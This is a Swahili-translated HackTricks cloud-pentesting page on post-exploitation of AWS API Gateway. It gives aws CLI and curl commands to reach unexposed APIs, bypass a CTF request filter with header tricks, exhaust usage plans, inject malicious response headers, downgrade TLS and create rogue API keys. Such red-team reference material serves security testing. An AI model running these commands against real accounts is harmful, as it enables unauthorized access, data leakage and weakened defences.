AWS - API Gateway Post Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

API Gateway

Kwa maelezo zaidi angalia:

AWS - API Gateway Enum

Access unexposed APIs

Unaweza kuunda kiunganishi katika https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint na huduma com.amazonaws.us-east-1.execute-api, funua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote. Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa imefunuliwa hapo awali.

Bypass Request body passthrough

Teknolojia hii ilipatikana katika hii CTF writeup.

Kama ilivyoonyeshwa katika nyaraka za AWS katika sehemu ya PassthroughBehavior, kwa kawaida, thamani WHEN_NO_MATCH, wakati wa kuangalia kichwa cha Content-Type cha ombi, itapitisha ombi kwa nyuma bila mabadiliko.

Hivyo, katika CTF, API Gateway ilikuwa na kigezo cha uunganisho ambacho kilikuwa kikizuia bendera kutolewa katika jibu wakati ombi lilitumwa na Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Hata hivyo, kutuma ombi lenye Content-type: text/json kungesitisha hiyo chujio.

Hatimaye, kwa kuwa API Gateway ilikuwa ikiruhusu tu Get na Options, ilikuwa inawezekana kutuma uchunguzi wa dynamoDB bila kikomo kwa kutuma ombi la POST lenye uchunguzi katika mwili na kutumia kichwa X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Katika sehemu ya Enumeration unaweza kuona jinsi ya kupata mpango wa matumizi wa funguo. Ikiwa una funguo na ime punguzia matumizi X kwa mwezi, unaweza kuitumia tu na kusababisha DoS.

API Key inahitaji tu kujumuishwa ndani ya HTTP header inayoitwa x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateGatewayResponse na apigateway:CreateDeployment anaweza kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts za uhalifu.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API.

Hitaji la kupima

apigateway:UpdateStage, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateStage na apigateway:CreateDeployment anaweza kubadilisha hatua ya API Gateway iliyopo ili kuelekeza trafiki kwenye hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikiaji usioidhinishwa wa data iliyohifadhiwa.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kukamata trafiki ya API.

Inahitaji kupimwa

apigateway:PutMethodResponse, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:PutMethodResponse na apigateway:CreateDeployment anaweza kubadilisha jibu la njia ya API Gateway REST API iliyopo ili kujumuisha vichwa vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza skripti zenye uharibifu.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kuvuja kwa taarifa nyeti, kutekeleza skripti zenye uharibifu, au ufikiaji usioidhinishwa wa rasilimali za API.

Hitaji la kupima

apigateway:UpdateRestApi, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateRestApi na apigateway:CreateDeployment anaweza kubadilisha mipangilio ya API Gateway REST API ili kuzima uandishi wa kumbukumbu au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kupunguza usalama wa API, ambayo inaweza kuruhusu ufikiaji usioidhinishwa au kufichua taarifa nyeti.

Inahitaji kupimwa

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Mshambuliaji mwenye ruhusa apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, na apigateway:CreateUsagePlanKey anaweza kuunda funguo mpya za API, kuziunganisha na mipango ya matumizi, na kisha kutumia funguo hizi kwa ufikiaji usioidhinishwa kwa APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa rasilimali za API, kupita udhibiti wa usalama.

Inahitaji kupimwa

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.